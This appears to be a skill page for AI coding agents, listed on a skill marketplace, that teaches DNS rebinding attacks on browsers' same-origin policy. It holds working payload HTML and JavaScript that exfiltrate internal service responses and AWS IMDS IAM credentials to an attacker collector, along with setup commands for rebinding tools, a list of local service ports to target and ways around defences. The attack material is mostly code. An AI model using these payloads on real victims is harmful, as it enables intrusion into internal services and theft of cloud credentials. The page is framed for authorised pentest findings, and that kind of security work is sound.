# Dns Rebinding

> DNS rebinding attack to bypass browser same-origin policy and reach IMDS/localhost/internal services: TTL=0 rebind mechanics, rbndr.us/singularity tooling, browser DNS cache pinning, chaining into AWS/GCP/Azure IMDS credential pivot. Use when SSRF is blocked but a victim browser can be induced to make requests, or when a localhost service is exposed. Triggers on: 'dns rebinding', 'rebind', 'DNS TTL 0', 'singularity', 'rbndr', 'localhost bypass via browser', 'imds via browser', 'SSRF via DNS'.

- Skill: `purpleailab/dns-rebinding` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/dns-rebinding`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/dns-rebinding/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/dns-rebinding

---


# DNS Rebinding

DNS rebinding lets an attacker-controlled page make the victim's browser
treat `attacker.com` as if it were `127.0.0.1` (or any internal IP).
The browser's same-origin policy checks the hostname, not the IP — so
after rebinding, the page's JS can read responses from the internal
service as if they were same-origin.

## When This Applies

| Scenario | Viable? |
|----------|---------|
| SSRF blocked, but victim browser is reachable | Yes — browser does the internal fetch |
| Localhost service (Electron app, dev server, K8s dashboard) | Yes — browser calls 127.0.0.1:<PORT> |
| Cloud IMDS (169.254.169.254) reachable from instance's browser | Yes — rare but critical |
| Server-side SSRF filter allows `attacker.com` | Yes — rebind to internal IP |
| Target has DNS-rebinding protection (Host header check) | Partial — see bypass §7 |

## 2. Attack Mechanics

### Phase 1 — Victim resolves attacker.com → public IP
Victim visits `http://attacker.com/payload.html`. Browser resolves the
DNS name → gets the attacker's real public IP → same-origin allows
the page's JS to load and execute.

### Phase 2 — TTL expires, DNS flips to 127.0.0.1
The attacker's DNS server returns a very short TTL (0–1 s). After TTL
expiry, a second DNS query returns `127.0.0.1` (or target internal IP).

### Phase 3 — JS makes same-origin request
The page's JS calls `fetch("http://attacker.com/api/v1/secret")`.
The browser re-resolves `attacker.com` → gets `127.0.0.1` → sends
the request to the local service on the attacker's behalf, receives the
response, and exfiltrates it.

```
[Browser] → DNS query: attacker.com → [Attacker DNS] → 1.2.3.4 (real)
                                         ... wait TTL ...
[Browser] → DNS query: attacker.com → [Attacker DNS] → 127.0.0.1 (rebind)
[Browser] fetch("http://attacker.com:8080/api/secret") → [127.0.0.1:8080]
[Browser] → response body exfiltrated to attacker
```

## 3. Tooling

### rbndr.us (fastest, no setup)
Public DNS rebinding service by Taviso. Construct a hostname that encodes
both IPs:

```
<hex-public-ip>.<hex-target-ip>.rbndr.us
```

Example — rebind `attacker.com` from `1.2.3.4` to `127.0.0.1`:
```bash
PUBLIC_HEX=$(python3 -c "import socket; a='<YOUR_VPS_IP>'; print(''.join(f'{int(x):02x}' for x in a.split('.')))")
TARGET_HEX="7f000001"   # 127.0.0.1
REBIND_HOST="${PUBLIC_HEX}.${TARGET_HEX}.rbndr.us"
echo "Rebind hostname: $REBIND_HOST"
# → e.g. 01020304.7f000001.rbndr.us
```

The rbndr.us server alternates between the two IPs on each DNS request.
Set up your payload page at `http://$REBIND_HOST:8080/`.

### Singularity (full-featured, self-hosted)
```bash
git clone https://github.com/nccgroup/singularity /workspace/singularity
cd /workspace/singularity/html

# Configure the manager
# Edit cmd/singularity-server/main.go: set rebindingFn to "rr" (round-robin)
# or "fs" (first satisfied)

docker run -it --rm \
  -p 53:53/udp -p 8080:8080 \
  nccgroup/singularity

# Access the manager at http://<VPS>:8080/manager.html
# Set "Attack host" = attacker's public IP
# Set "Target host" = 127.0.0.1 (or internal IP)
# Set "Target port" = target port (e.g. 2375 for Docker, 6443 for K8s)
# Generate the attack URL; deliver to victim
```

## 4. Payload Page

Minimal JS to fetch once rebinding succeeds:

```html
<!DOCTYPE html>
<html>
<body>
<script>
const host = location.hostname;   // e.g. xxxx.7f000001.rbndr.us
const target = "http://" + host + ":<TARGET_PORT>/";
const exfil  = "https://<ATTACKER_COLLECTOR>/";

function tryFetch(attempt) {
    fetch(target, {cache: "no-store"})
        .then(r => r.text())
        .then(body => {
            // Got internal service response — exfiltrate
            fetch(exfil + "?d=" + btoa(body).slice(0,1000));
        })
        .catch(err => {
            // DNS hasn't flipped yet, retry
            if (attempt < 30) setTimeout(() => tryFetch(attempt+1), 1000);
        });
}

setTimeout(() => tryFetch(0), 500);  // give first TTL a moment to expire
</script>
</body>
</html>
```

For IMDS specifically, AWS v1 and GCP do not require special headers from
the browser perspective — the only protection is Host header validation
(see §7). Azure IMDS requires `Metadata: true` header — inject via:
```javascript
fetch(target, {headers: {"Metadata": "true"}, cache: "no-store"})
```

## 5. Cloud IMDS Pivot

Once the rebinding hits `169.254.169.254`:

```javascript
// AWS IMDSv1 — enumerate IAM role
fetch("http://attacker.com/latest/meta-data/iam/security-credentials/", {cache:"no-store"})
  .then(r => r.text())
  .then(role => {
    fetch("http://attacker.com/latest/meta-data/iam/security-credentials/" + role.trim(), {cache:"no-store"})
      .then(r => r.text())
      .then(creds => fetch(exfil + "?c=" + btoa(creds)));
  });
```

Extraction yields `AccessKeyId`, `SecretAccessKey`, `Token` — full
AWS credential pivot. Treat as equivalent to SSRF → IMDSv1 (Critical).

## 6. Electron / Desktop App Attack

Many Electron apps serve a local HTTP or WebSocket server on
`127.0.0.1:<PORT>` without authentication, relying on same-origin for
isolation. DNS rebinding bypasses that entirely:

1. Enumerate the app's local port (scan or read its config file if accessible)
2. Rebind to `127.0.0.1:<port>` using rbndr.us
3. Read API responses, extract tokens/auth cookies, pivot to backend

Target ports by app:
| App | Default port |
|-----|-------------|
| VS Code remote | 9229 |
| Docker Desktop API | 2375 |
| Kubernetes API | 6443 / 8001 |
| etcd | 2379 |
| Jupyter Notebook | 8888 |
| Kibana | 5601 |
| Redis | 6379 |

## 7. Defenses and Bypasses

| Defense | Bypass |
|---------|--------|
| Host header check (`if Host != expected`) | Try `X-Forwarded-Host`, `X-Host`, empty Host |
| DNS pinning (browser caches first IP) | Wait for pin to expire (Chrome: 60s); switch to fresh tab |
| Private network access (PNA) headers | Older browsers lack PNA support; Safari doesn't implement it |
| IMDSv2 (token-required) | Browser can't set `X-aws-ec2-metadata-token-ttl-seconds` — v2 often blocks |
| CORS `Access-Control-Allow-Origin` | CORS is about responses — rebinding bypasses by making origin `==` target |

Browser DNS cache TTLs:
- Chrome: ignores TTL if < 1s (pins for ~1min); use rbndr TTL of 1s
- Firefox: respects TTL=0 more reliably
- Safari: similar to Firefox

## 8. PoC Evidence Checklist

To file a valid finding:
- [ ] Demonstrate victim browser receives response from internal target
- [ ] Show the exfiltrated data (e.g. base64-decoded IMDS response)
- [ ] Record DNS TTL used and browser version
- [ ] Show that without the rebind (direct access) the same request fails

## 9. CVSS

| Variant | CVSS vector | Score |
|---------|-------------|-------|
| DNS rebind → unauthenticated localhost service (DoS) | AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:N/A:H | 5.3 |
| DNS rebind → internal API data leak | AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N | 7.4 |
| DNS rebind → IMDSv1 IAM credentials | AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H | 9.0 |
| DNS rebind → Docker socket → RCE | AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H | 9.0 |

AC:H reflects the requirement for victim interaction (keeping the tab
open during the TTL expiry window).

## 10. Chain Promotion

DNS rebinding is usually a delivery primitive — chain it:
- `enables` edge to IMDS credential node (if IMDS pivot succeeded)
- `enables` edge to internal service vuln (if internal service is exploitable)
- `requires` edge from "victim interaction" precondition node

```
kg_add_node("vulnerability", "DNS rebinding → IMDS credential pivot",
  props={"attack_host": "<REBIND_HOST>", "target_ip": "169.254.169.254",
         "browser": "Chrome 124", "imds_role": "<ROLE_NAME>",
         "exfil_method": "fetch to attacker callback",
         "key": "dns-rebinding:imds-pivot"})
```

